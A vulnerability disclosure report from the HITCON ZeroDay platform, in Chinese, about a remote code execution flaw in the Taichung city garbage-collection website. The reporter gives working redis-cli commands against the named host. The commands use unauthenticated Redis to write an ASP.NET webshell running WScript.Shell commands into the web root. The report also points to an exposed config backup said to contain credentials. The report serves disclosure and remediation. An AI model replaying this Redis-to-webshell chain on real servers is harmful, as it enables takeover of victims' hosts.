Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2024-00413
- Vendor: 臺中垃圾清運大車隊
- Title: 臺中市政府垃圾清運網站RCE漏洞
- Introduction: RCE漏洞
處理狀態
目前狀態
公開
Last Update : 2024/06/18
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2024/04/18 00:05:10 : 新提交 (由 potato44 更新此狀態)
- 2024/04/18 00:07:35 : 新提交 (由 potato44 更新此狀態)
- 2024/04/18 00:10:18 : 新提交 (由 potato44 更新此狀態)
- 2024/04/18 00:54:44 : 新提交 (由 potato44 更新此狀態)
- 2024/04/18 11:02:27 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/05/07 19:53:24 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/05/07 19:53:24 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/05/07 19:53:24 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/06/18 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2024-00413
- 通報者:potato44 (potato44)
- 風險:嚴重
- 類型:遠端命令執行 (Remote Code Execution)
參考資料
攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://cleaner.epb.taichung.gov.tw/
敘述
1.掃描找到底下兩個問題
- Redis服務不需密碼即可登入
redis-cli -h cleaner.epb.taichung.gov.tw
- web.zip是網站web.config備份(*請廠商務必移除,裡面包含帳密資訊),內容提示了實體目錄位置,位於E:\skyeye\
https://cleaner.epb.taichung.gov.tw/TGservice/web.zip
4.Redis RCE步驟
請先登入
redis-cli -h cleaner.epb.taichung.gov.tw
驗證資訊是我暫時加上,防止攻擊者找到進行攻擊,但查手冊此驗證為暫時,當Redis重啟會消失,還是請廠商在伺服器端進行設定連同登入加上密碼保護,如果測試時消失則可跳過此步驟
Auth 34t34tw34ti90w34t90w3jt
設定要進行RCE程式的位置
config set dir E:\skyeye\files
設定檔案名稱,此網站使用ASP.NET
config set dbfilename 2r92j9rk3p02rRQW58Ed.aspx
設定aspx指令,顯示E:\skyeye\files底下的檔案
set test "<%Response.Write(CreateObject(\"WScript.Shell\").Exec(\"cmd /c dir E:\\skyeye\\files \").StdOut.Readall())%>"
儲存
save
5.瀏覽網頁 https://cleaner.epb.taichung.gov.tw/files/2r92j9rk3p02rRQW58Ed.aspx 確認檔案寫入與指令執行成功
6.請廠商刪除底下的測試檔案,謝謝
/robots.txt
/log/2r92j9rk3p02re4RRQWE.txt
/files/2r92j9rk3p02rRQW58E.aspx
/files/2r92j9rk3p02rRQW58Ed.aspx
/files/2r92j9rk3p02rRQWE.aspx
/files/robots.txt修補建議
1.Redis服務如果未使用可關閉,或者考慮不要對外,務必加上密碼認證
2.TGService底下的web.zip備份檔案務必移除
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。